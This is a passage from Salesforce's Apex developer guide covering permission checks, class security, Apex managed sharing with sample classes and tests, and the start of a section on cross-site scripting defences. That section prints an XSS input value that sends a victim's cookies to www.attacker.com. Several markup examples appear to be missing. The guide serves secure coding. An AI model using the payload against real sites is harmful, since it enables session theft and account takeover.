Enforcing Object and Field Permissions
Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules aren’t taken into
account during code execution. The only exceptions to this rule are Apex code that is executed with the executeAnonymous call
and Chatter in Apex. executeAnonymous always executes using the full permissions of the current user. For more information on
executeAnonymous, see Anonymous Blocks on page 209.
Although Apex doesn't enforce object-level and field-level permissions by default, you can enforce these permissions in your code by
explicitly calling the sObject describe result methods (of Schema.DescribeSObjectResult) and the field describe result methods (of
Schema.DescribeFieldResult) that check the current user's access permission levels. In this way, you can verify if the current user has the
necessary permissions, and only if he or she has sufficient permissions, you can then perform a specific DML operation or a query.
For example, you can call the isAccessible, isCreateable, or isUpdateable methods of
Schema.DescribeSObjectResult to verify whether the current user has read, create, or update access to an sObject, respectively.
Similarly, Schema.DescribeFieldResult exposes these access control methods that you can call to check the current user's
read, create, or update access for a field. In addition, you can call the isDeletable method provided by
Schema.DescribeSObjectResult to check if the current user has permission to delete a specific sObject.
These are some examples of how to call the access control methods.
184
Working with Data in Apex
Class Security
To check the field-level update permission of the contact's email field before updating it:
if (Schema.sObjectType.Contact.fields.Email.isUpdateable()) {
// Update contact phone number
}
To check the field-level create permission of the contact's email field before creating a new contact:
if (Schema.sObjectType.Contact.fields.Email.isCreateable()) {
// Create new contact
}
To check the field-level read permission of the contact's email field before querying for this field:
if (Schema.sObjectType.Contact.fields.Email.isAccessible()) {
Contact c = [SELECT Email FROM Contact WHERE Id= :Id];
}
To check the object-level permission for the contact before deleting the contact.
if (Schema.sObjectType.Contact.isDeletable()) {
// Delete contact
}
Sharing rules are distinct from object-level and field-level permissions. They can coexist. If sharing rules are defined in Salesforce, you
can enforce them at the class level by declaring the class with the with sharing keyword. For more information, see Using the
with sharing or without sharing Keywords. If you call the sObject describe result and field describe result access control
methods, the verification of object and field-level permissions is performed in addition to the sharing rules that are in effect. Sometimes,
the access level granted by a sharing rule could conflict with an object-level or field-level permission.
Class Security
You can specify which users can execute methods in a particular top-level class based on their user profile or permission sets. You can
only set security on Apex classes, not on triggers.
To set Apex class security from the class list page:
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Next to the name of the class that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable
from the Enabled Profiles list and click Remove.
4. Click Save.
To set Apex class security from the class detail page:
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Click the name of the class that you want to restrict.
3. Click Security.
4. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable
from the Enabled Profiles list and click Remove.
5. Click Save.
To set Apex class security from a permission set:
1. From Setup, enter Permission Sets in the Quick Find box, then select Permission Sets.
185
Working with Data in Apex
Understanding Apex Managed Sharing
2. Select a permission set.
3. Click Apex Class Access.
4. Click Edit.
5. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that
you want to disable from the Enabled Apex Classes list and click Remove.
6. Click Save.
To set Apex class security from a profile:
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. In the Apex Class Access page or related list, click Edit.
4. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that
you want to disable from the Enabled Apex Classes list and click Remove.
5. Click Save.
Understanding Apex Managed Sharing
Sharing is the act of granting a user or group of users permission to perform a set of actions on a record or set of records. Sharing access
can be granted using the Salesforce user interface and Force.com, or programmatically using Apex.
This section provides an overview of sharing using Apex:
• Understanding Sharing
• Sharing a Record Using Apex
• Recalculating Apex Managed Sharing
For more information on sharing, see “Set Your Organization-Wide Sharing Defaults” in the Salesforce online help.
Understanding Sharing
Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact, Opportunity
and Case). Administrators first set an object’s organization-wide default sharing access level, and then grant additional access based on
record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed sharing to grant
additional access programmatically with Apex. Most sharing for a record is maintained in a related sharing object, similar to an access
control list (ACL) found in other platforms.
Types of Sharing
Salesforce has the following types of sharing:
Force.com Managed Sharing
Force.com managed sharing involves sharing access granted by Force.com based on record ownership, the role hierarchy, and
sharing rules:
Record Ownership
Each record is owned by a user or optionally a queue for custom objects, cases and leads. The record owner is automatically
granted Full Access, allowing them to view, edit, transfer, share, and delete the record.
186
Working with Data in Apex
Understanding Apex Managed Sharing
Role Hierarchy
The role hierarchy enables users above another user in the hierarchy to have the same level of access to records owned by or
shared with users below. Consequently, users above a record owner in the role hierarchy are also implicitly granted Full Access
to the record, though this behavior can be disabled for specific custom objects. The role hierarchy is not maintained with sharing
records. Instead, role hierarchy access is derived at runtime. For more information, see “Controlling Access Using Hierarchies” in
the Salesforce online help.
Sharing Rules
Sharing rules are used by administrators to automatically grant users within a given group or role access to records owned by a
specific group of users. Sharing rules cannot be added to a package and cannot be used to support sharing logic for apps installed
from Force.com AppExchange.
Sharing rules can be based on record ownership or other criteria. You can’t use Apex to create criteria-based sharing rules. Also,
criteria-based sharing cannot be tested using Apex.
All implicit sharing added by Force.com managed sharing cannot be altered directly using the Salesforce user interface, SOAP API,
or Apex.
User Managed Sharing, also known as Manual Sharing
User managed sharing allows the record owner or any user with Full Access to a record to share the record with a user or group of
users. This is generally done by an end-user, for a single record. Only the record owner and users above the owner in the role hierarchy
are granted Full Access to the record. It is not possible to grant other users Full Access. Users with the “Modify All” object-level
permission for the given object or the “Modify All Data” permission can also manually share a record. User managed sharing is
removed when the record owner changes or when the access granted in the sharing does not grant additional access beyond the
object's organization-wide sharing default access level.
Apex Managed Sharing
Apex managed sharing provides developers with the ability to support an application’s particular sharing requirements
programmatically through Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only users with
“Modify All Data” permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across
record owner changes.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.
The Sharing Reason Field
In the Salesforce user interface, the Reason field on a custom object specifies the type of sharing used for a record. This field is called
rowCause in Apex or the Force.com API.
Each of the following list items is a type of sharing used for records. The tables show Reason field value, and the related rowCause
value.
• Force.com Managed Sharing
Reason Field Value
rowCause Value (Used in Apex or the Force.com API)
Account Sharing
ImplicitChild
Associated record owner or sharing
ImplicitParent
Owner
Owner
Opportunity Team
Team
Sharing Rule
Rule
187
Working with Data in Apex
Understanding Apex Managed Sharing
Reason Field Value
rowCause Value (Used in Apex or the Force.com API)
Territory Assignment Rule
TerritoryRule
• User Managed Sharing
Reason Field Value
rowCause Value (Used in Apex or the Force.com API)
Manual Sharing
Manual
Territory Manual
TerritoryManual
• Apex Managed Sharing
Reason Field Value
rowCause Value (Used in Apex or the Force.com API)
Defined by developer
Defined by developer
The displayed reason for Apex managed sharing is defined by the developer.
Access Levels
When determining a user’s access to a record, the most permissive level of access is used. Most share objects support the following
access levels:
Access Level
API Name
Description
Private
None
Only the record owner and users above the record owner in the role hierarchy
can view and edit the record. This access level only applies to the AccountShare
object.
Read Only
Read
The specified user or group can view the record only.
Read/Write
Edit
The specified user or group can view and edit the record.
Full Access
All
The specified user or group can view, edit, transfer, share, and delete the record.
Note: This access level can only be granted with Force.com managed
sharing.
Sharing Considerations
Apex Triggers and User Record Sharing
If a trigger changes the owner of a record, the running user must have read access to the new owner’s user record if the trigger is
started through the following:
• API
• Standard user interface
188
Working with Data in Apex
Understanding Apex Managed Sharing
• Standard Visualforce controller
• Class defined with the with sharing keyword
If a trigger is started through a class that’s not defined with the with sharing keyword, the trigger runs in system mode. In
this case, the trigger doesn’t require the running user to have specific access.
Sharing a Record Using Apex
To access sharing programmatically, you must use the share object associated with the standard or custom object for which you want
to share. For example, AccountShare is the sharing object for the Account object, ContactShare is the sharing object for the Contact
object, and so on. In addition, all custom object sharing objects are named as follows, where MyCustomObject is the name of the
custom object:
MyCustomObject__Share
Objects on the detail side of a master-detail relationship do not have an associated sharing object. The detail record’s access is determined
by the master’s sharing object and the relationship’s sharing setting. For more information, see “Custom Object Security” in the Salesforce
online help.
A share object includes records supporting all three types of sharing: Force.com managed sharing, user managed sharing, and Apex
managed sharing. Sharing granted to users implicitly through organization-wide defaults, the role hierarchy, and permissions such as
the “View All” and “Modify All” permissions for the given object, “View All Data,” and “Modify All Data” are not tracked with this object.
Every share object has the following properties:
Property Name
Description
objectNameAccessLevel The level of access that the specified user or group has been granted for a share sObject. The name
of the property is AccessLevel appended to the object name. For example, the property name
for LeadShare object is LeadShareAccessLevel. Valid values are:
• Edit
• Read
• All
Note: The All access level can only be used by Force.com managed sharing.
This field must be set to an access level that is higher than the organization’s default access level for
the parent object. For more information, see Access Levels on page 188.
ParentID
The ID of the object. This field cannot be updated.
RowCause
The reason why the user or group is being granted access. The reason determines the type of sharing,
which controls who can alter the sharing record. This field cannot be updated.
UserOrGroupId
The user or group IDs to which you are granting access. A group can be
• a public group or a sharing group associated with a role
• a territory group if you use the original version of Territory Management, but not with Enterprise
Territory Management
This field cannot be updated.
189
Working with Data in Apex
Understanding Apex Managed Sharing
You can share a standard or custom object with users or groups. For more information about the types of users and groups you can
share an object with, see User and Group in the Object Reference for Salesforce and Force.com.
Creating User Managed Sharing Using Apex
It is possible to manually share a record to a user or a group using Apex or the SOAP API. If the owner of the record changes, the sharing
is automatically deleted. The following example class contains a method that shares the job specified by the job ID with the specified
user or group ID with read access. It also includes a test method that validates this method. Before you save this example class, create a
custom object called Job.
Note: Manual shares written using Apex contains RowCause="Manual" by default. Only shares with this condition are
removed when ownership changes.
public class JobSharing {
public static boolean manualShareRead(Id recordId, Id userOrGroupId){
// Create new sharing object for the custom object Job.
Job__Share jobShr = new Job__Share();
// Set the ID of record being shared.
jobShr.ParentId = recordId;
// Set the ID of user or group being granted access.
jobShr.UserOrGroupId = userOrGroupId;
// Set the access level.
jobShr.AccessLevel = 'Read';
// Set rowCause to 'manual' for manual sharing.
// This line can be omitted as 'manual' is the default value for sharing objects.
jobShr.RowCause = Schema.Job__Share.RowCause.Manual;
// Insert the sharing record and capture the save result.
// The false parameter allows for partial processing if multiple records passed
// into the operation.
Database.SaveResult sr = Database.insert(jobShr,false);
// Process the save results.
if(sr.isSuccess()){
// Indicates success
return true;
}
else {
// Get first save result error.
Database.Error err = sr.getErrors()[0];
// Check if the error is related to trival access level.
// Access level must be more permissive than the object's default.
// These sharing records are not required and thus an insert exception is
acceptable.
if(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION &&
err.getMessage().contains('AccessLevel')){
// Indicates success.
return true;
190
Working with Data in Apex
Understanding Apex Managed Sharing
}
else{
// Indicates failure.
return false;
}
}
}
}
@isTest
private class JobSharingTest {
// Test for the manualShareRead method
static testMethod void testManualShareRead(){
// Select users for the test.
List users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
Id User1Id = users[0].Id;
Id User2Id = users[1].Id;
// Create new job.
Job__c j = new Job__c();
j.Name = 'Test Job';
j.OwnerId = user1Id;
insert j;
// Insert manual share for user who is not record owner.
System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), true);
// Query job sharing records.
List jShrs = [SELECT Id, UserOrGroupId, AccessLevel,
RowCause FROM job__share WHERE ParentId = :j.Id AND UserOrGroupId= :user2Id];
// Test for only one manual share on job.
System.assertEquals(jShrs.size(), 1, 'Set the object\'s sharing model to Private.');
// Test attributes of manual share.
System.assertEquals(jShrs[0].AccessLevel, 'Read');
System.assertEquals(jShrs[0].RowCause, 'Manual');
System.assertEquals(jShrs[0].UserOrGroupId, user2Id);
// Test invalid job Id.
delete j;
// Insert manual share for deleted job id.
System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), false);
}
}
Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Access Levels on page 188.
191
Working with Data in Apex
Understanding Apex Managed Sharing
Creating Apex Managed Sharing
Apex managed sharing enables developers to programmatically manipulate sharing to support their application’s behavior through
Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only users with “Modify All Data” permission can
add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes.
Apex managed sharing must use an Apex sharing reason. Apex sharing reasons are a way for developers to track why they shared a record
with a user or group of users. Using multiple Apex sharing reasons simplifies the coding required to make updates and deletions of
sharing records. They also enable developers to share with the same user or group multiple times using different reasons.
Apex sharing reasons are defined on an object's detail page. Each Apex sharing reason has a label and a name:
• The label displays in the Reason column when viewing the sharing for a record in the user interface. This label allows users and
administrators to understand the source of the sharing. The label is also enabled for translation through the Translation Workbench.
• The name is used when referencing the reason in the API and Apex.
All Apex sharing reason names have the following format:
MyReasonName__c
Apex sharing reasons can be referenced programmatically as follows:
Schema.CustomObject__Share.rowCause.SharingReason__c
For example, an Apex sharing reason called Recruiter for an object called Job can be referenced as follows:
Schema.Job__Share.rowCause.Recruiter__c
For more information, see Schema Class on page 2470.
To create an Apex sharing reason:
1. From the management settings for the custom object, click New in the Apex Sharing Reasons related list.
2. Enter a label for the Apex sharing reason. The label displays in the Reason column when viewing the sharing for a record in the
user interface. The label is also enabled for translation through the Translation Workbench.
3. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the API and Apex. This name can contain
only underscores and alphanumeric characters, and must be unique in your org. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
4. Click Save.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.
Apex Managed Sharing Example
For this example, suppose you are building a recruiting application and have an object called Job. You want to validate that the recruiter
and hiring manager listed on the job have access to the record. The following trigger grants the recruiter and hiring manager access
when the job record is created. This example requires a custom object called Job, with two lookup fields associated with User records
called Hiring_Manager and Recruiter. Also, the Job custom object should have two sharing reasons added called Hiring_Manager and
Recruiter.
trigger JobApexSharing on Job__c (after insert) {
if(trigger.isInsert){
// Create a new list of sharing objects for Job
List jobShrs = new List();
192
Working with Data in Apex
Understanding Apex Managed Sharing
// Declare variables for recruiting and hiring manager sharing
Job__Share recruiterShr;
Job__Share hmShr;
for(Job__c job : trigger.new){
// Instantiate the sharing objects
recruiterShr = new Job__Share();
hmShr = new Job__Share();
// Set the ID of record being shared
recruiterShr.ParentId = job.Id;
hmShr.ParentId = job.Id;
// Set the ID of user or group being granted access
recruiterShr.UserOrGroupId = job.Recruiter__c;
hmShr.UserOrGroupId = job.Hiring_Manager__c;
// Set the access level
recruiterShr.AccessLevel = 'edit';
hmShr.AccessLevel = 'read';
// Set the Apex sharing reason for hiring manager and recruiter
recruiterShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
hmShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
// Add objects to list for insert
jobShrs.add(recruiterShr);
jobShrs.add(hmShr);
}
// Insert sharing records and capture save result
// The false parameter allows for partial processing if multiple records are passed
// into the operation
Database.SaveResult[] lsr = Database.insert(jobShrs,false);
// Create counter
Integer i=0;
// Process the save results
for(Database.SaveResult sr : lsr){
if(!sr.isSuccess()){
// Get the first save result error
Database.Error err = sr.getErrors()[0];
//
//
//
//
Check if the error is related to a trivial access level
Access levels equal or more permissive than the object's default
access level are not allowed.
These sharing records are not required and thus an insert exception is
// acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
&&
193
Working with Data in Apex
Understanding Apex Managed Sharing
err.getMessage().contains('AccessLevel'))){
// Throw an error when the error is not related to trivial access
level.
trigger.newMap.get(jobShrs[i].ParentId).
addError(
'Unable to grant sharing access due to following exception: '
+ err.getMessage());
}
}
i++;
}
}
}
Under certain circumstances, inserting a share row results in an update of an existing share row. Consider these examples:
• A manual share access level is set to Read and you insert a new one set to Write. The original share rows are updated to Write,
indicating the higher level of access.
• Users can access an account because they can access its child records (contact, case, opportunity, and so on). If an account sharing
rule is created, the sharing rule row cause (which is a higher access level) replaces the parent implicit share row cause, indicating
the higher level of access.
Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Access Levels on page 188.
Creating Apex Managed Sharing for Customer Community Plus users
Customer Community Plus users are previously known as Customer Portal users. Share objects, such as AccountShare and
ContactShare, aren’t available to these users. If you must use share objects as a Customer Community Plus user, consider using a
trigger, which operates with the without sharing keyword by default. Otherwise, use an inner class with the same keyword to
enable the DML operation to run successfully. A separate utility class can also be used to enable this access.
Granting visibility via manual/apex shares written to the share objects is supported but the objects themselves aren't available to Customer
Community Plus users. However, other users can add shares that grant access to Customer Community Plus users.
Recalculating Apex Managed Sharing
Salesforce automatically recalculates sharing for all records on an object when its organization-wide sharing default access level changes.
The recalculation adds Force.com managed sharing when appropriate. In addition, all types of sharing are removed if the access they
grant is considered redundant. For example, manual sharing, which grants Read Only access to a user, is deleted when the object’s
sharing model changes from Private to Public Read Only.
To recalculate Apex managed sharing, you must write an Apex class that implements a Salesforce-provided interface to do the recalculation.
You must then associate the class with the custom object, on the custom object's detail page, in the Apex Sharing Recalculation related
list.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.
You can execute this class from the custom object detail page where the Apex sharing reason is specified. An administrator might need
to recalculate the Apex managed sharing for an object if a locking issue prevented Apex code from granting access to a user as defined
by the application’s logic. You can also use the Database.executeBatch method to programmatically invoke an Apex managed
sharing recalculation.
194
Working with Data in Apex
Understanding Apex Managed Sharing
Note: Every time a custom object's organization-wide sharing default access level is updated, any Apex recalculation classes
defined for associated custom object are also executed.
To monitor or stop the execution of the Apex recalculation, from Setup, enter Apex Jobs in the Quick Find box, then select
Apex Jobs.
Creating an Apex Class for Recalculating Sharing
To recalculate Apex managed sharing, you must write an Apex class to do the recalculation. This class must implement the
Salesforce-provided interface Database.Batchable.
The Database.Batchable interface is used for all batch Apex processes, including recalculating Apex managed sharing. You can
implement this interface more than once in your organization. For more information on the methods that must be implemented, see
Using Batch Apex on page 241.
Before creating an Apex managed sharing recalculation class, also consider the best practices.
Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Access Levels on page 188.
Apex Managed Sharing Recalculation Example
For this example, suppose you are building a recruiting application and have an object called Job. You want to validate that the recruiter
and hiring manager listed on the job have access to the record. The following Apex class performs this validation. This example requires
a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter. Also, the Job
custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this sample, replace the
email address with a valid email address that you want to to send error notifications and job completion notifications to.
global class JobSharingRecalc implements Database.Batchable {
// String to hold email address that emails will be sent to.
// Replace its value with a valid email address.
static String emailAddress = 'admin@yourcompany.com';
// The start method is called at the beginning of a sharing recalculation.
// This method returns a SOQL query locator containing the records
// to be recalculated.
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator([SELECT Id, Hiring_Manager__c, Recruiter__c
FROM Job__c]);
}
// The executeBatch method is called for each chunk of records returned from start.
global void execute(Database.BatchableContext BC, List scope){
// Create a map for the chunk of records passed into method.
Map jobMap = new Map((List)scope);
// Create a list of Job__Share objects to be inserted.
List newJobShrs = new List();
// Locate all existing sharing records for the Job records in the batch.
// Only records using an Apex sharing reason for this app should be returned.
List oldJobShrs = [SELECT Id FROM Job__Share WHERE ParentId IN
195
Working with Data in Apex
Understanding Apex Managed Sharing
:jobMap.keySet() AND
(RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)];
// Construct new sharing records for the hiring manager and recruiter
// on each Job record.
for(Job__c job : jobMap.values()){
Job__Share jobHMShr = new Job__Share();
Job__Share jobRecShr = new Job__Share();
// Set the ID of user (hiring manager) on the Job record being granted access.
jobHMShr.UserOrGroupId = job.Hiring_Manager__c;
// The hiring manager on the job should always have 'Read Only' access.
jobHMShr.AccessLevel = 'Read';
// The ID of the record being shared
jobHMShr.ParentId = job.Id;
// Set the rowCause to the Apex sharing reason for hiring manager.
// This establishes the sharing record as Apex managed sharing.
jobHMShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
// Add sharing record to list for insertion.
newJobShrs.add(jobHMShr);
// Set the ID of user (recruiter) on the Job record being granted access.
jobRecShr.UserOrGroupId = job.Recruiter__c;
// The recruiter on the job should always have 'Read/Write' access.
jobRecShr.AccessLevel = 'Edit';
// The ID of the record being shared
jobRecShr.ParentId = job.Id;
// Set the rowCause to the Apex sharing reason for recruiter.
// This establishes the sharing record as Apex managed sharing.
jobRecShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
// Add the sharing record to the list for insertion.
newJobShrs.add(jobRecShr);
}
try {
// Delete the existing sharing records.
// This allows new sharing records to be written from scratch.
Delete oldJobShrs;
// Insert the new sharing records and capture the save result.
// The false parameter allows for partial processing if multiple records are
// passed into operation.
Database.SaveResult[] lsr = Database.insert(newJobShrs,false);
196
Working with Data in Apex
Understanding Apex Managed Sharing
// Process the save results for insert.
for(Database.SaveResult sr : lsr){
if(!sr.isSuccess()){
// Get the first save result error.
Database.Error err = sr.getErrors()[0];
//
//
//
//
Check if the error is related to trivial access level.
Access levels equal or more permissive than the object's default
access level are not allowed.
These sharing records are not required and thus an insert exception
// is acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
&& err.getMessage().contains('AccessLevel'))){
// Error is not related to trivial access level.
// Send an email to the Apex job's submitter.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Exception');
mail.setPlainTextBody(
'The Apex sharing recalculation threw the following exception: ' +
err.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
}
} catch(DmlException e) {
// Send an email to the Apex job's submitter on failure.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Exception');
mail.setPlainTextBody(
'The Apex sharing recalculation threw the following exception: ' +
e.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
// The finish method is called at the end of a sharing recalculation.
global void finish(Database.BatchableContext BC){
// Send an email to the Apex job's submitter notifying of job completion.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Completed.');
mail.setPlainTextBody
('The Apex sharing recalculation finished processing');
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
197
Working with Data in Apex
Understanding Apex Managed Sharing
}
Testing Apex Managed Sharing Recalculations
This example inserts five Job records and invokes the batch job that is implemented in the batch class of the previous example. This
example requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter.
Also, the Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this test, set
the organization-wide default sharing for Job to Private. Note that since email messages aren’t sent from tests, and because the batch
class is invoked by a test method, the email notifications won’t be sent in this case.
@isTest
private class JobSharingTester {
// Test for the JobSharingRecalc class
static testMethod void testApexSharing(){
// Instantiate the class implementing the Database.Batchable interface.
JobSharingRecalc recalc = new JobSharingRecalc();
// Select users for the test.
List users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
ID User1Id = users[0].Id;
ID User2Id = users[1].Id;
// Insert some test job records.
List testJobs = new List();
for (Integer i=0;i<5;i++) {
Job__c j = new Job__c();
j.Name = 'Test Job ' + i;
j.Recruiter__c = User1Id;
j.Hiring_Manager__c = User2Id;
testJobs.add(j);
}
insert testJobs;
Test.startTest();
// Invoke the Batch class.
String jobId = Database.executeBatch(recalc);
Test.stopTest();
// Get the Apex job and verify there are no errors.
AsyncApexJob aaj = [Select JobType, TotalJobItems, JobItemsProcessed, Status,
CompletedDate, CreatedDate, NumberOfErrors
from AsyncApexJob where Id = :jobId];
System.assertEquals(0, aaj.NumberOfErrors);
// This query returns jobs and related sharing records that were inserted
// by the batch job's execute method.
List jobs = [SELECT Id, Hiring_Manager__c, Recruiter__c,
(SELECT Id, ParentId, UserOrGroupId, AccessLevel, RowCause FROM Shares
WHERE (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c))
198
Working with Data in Apex
Security Tips for Apex and Visualforce Development
FROM Job__c];
// Validate that Apex managed sharing exists on jobs.
for(Job__c job : jobs){
// Two Apex managed sharing records should exist for each job
// when using the Private org-wide default.
System.assert(job.Shares.size() == 2);
for(Job__Share jobShr : job.Shares){
// Test the sharing record for hiring manager on job.
if(jobShr.RowCause == Schema.Job__Share.RowCause.Hiring_Manager__c){
System.assertEquals(jobShr.UserOrGroupId,job.Hiring_Manager__c);
System.assertEquals(jobShr.AccessLevel,'Read');
}
// Test the sharing record for recruiter on job.
else if(jobShr.RowCause == Schema.Job__Share.RowCause.Recruiter__c){
System.assertEquals(jobShr.UserOrGroupId,job.Recruiter__c);
System.assertEquals(jobShr.AccessLevel,'Edit');
}
}
}
}
}
Associating an Apex Class Used for Recalculation
An Apex class used for recalculation must be associated with a custom object.
To associate an Apex managed sharing recalculation class with a custom object:
1. From the management settings for the custom object, go to Apex Sharing Recalculations.
2. Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the
Database.Batchable interface. You cannot associate the same Apex class multiple times with the same custom object.
3. Click Save.
Security Tips for Apex and Visualforce Development
Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and business
logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However, as with any
programming language, developers must be cognizant of potential security-related pitfalls.
Salesforce has incorporated several security defenses into the Force.com platform itself. However, careless developers can still bypass
the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer
can make on the Force.com platform are similar to general Web application security vulnerabilities, while others are unique to Apex.
To certify an application for AppExchange, it’s important that developers learn and understand the security flaws described here. For
additional information, see the Force.com Security Resources page on Salesforce Developers at
https://developer.salesforce.com/page/Security.
199
Working with Data in Apex
Security Tips for Apex and Visualforce Development
Cross Site Scripting (XSS)
Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web
application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly
becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the
victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely
to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some
obvious possibilities include bulletin board or user comment-style websites, news, or email archives.
For example, assume the following script is included in a Force.com page using a script component, an on* event, or a Visualforce
page.
This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for
userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were
the victim.
The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their
browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against
the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or
session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
• http://www.owasp.org/index.php/Cross_Site_Scripting
• http://www.cgisecurity.com/xss-faq.html
• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
• http://www.google.com/search?q=cross-site+scripting
Within the Force.com platform there are several anti-XSS defenses in place. For example, Salesforce has implemented filters that screen
out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws
have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default
controls. The following sections show where protection does and does not exist.
Existing Protection
All standard Visualforce components, which start with , have anti-XSS filters in place. For example, the following code is normally
vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the
tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted
to < so that a literal < displays on the user's screen.
{!$CurrentPage.parameters.userInput}
200
Working with Data in Apex
Security Tips for Apex and Visualforce Development
Disabling Escape on Visualforce Tags
By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional
attribute escape="false". For example, the following output is vulnerable to XSS attacks:
Programming Items Not Protected from XSS
The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these
items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include
anti-XSS filters on commands that are intentionally added to a page.
Custom JavaScript
If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is vulnerable
to XSS if used in JavaScript.
The Visualforce component allows you to include a custom script on the page. In these cases, be
very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is
extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL
to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially
direct the victim to include any JavaScript file from any other website.
Unescaped Output and Formulas in Visualforce Pages
When using components that have set the escape attribute to false, or when including formulas outside of a Visualforce component,
output is unfiltered and must be validated for security. This is especially important when using formula expressions.
Formula expressions can be function calls or include information about platform objects, a user's environment, system environment,
and the request environment. It’s important to be aware that the output that’s generated by expressions isn’t escaped during rendering.
Since expressions are rendered on the server, it’s not possible to escape rendered data on the client using JavaScript or other client-side
technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is, potentially
hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering.
A common vulnerability is created by rerendering user input on a page. For example,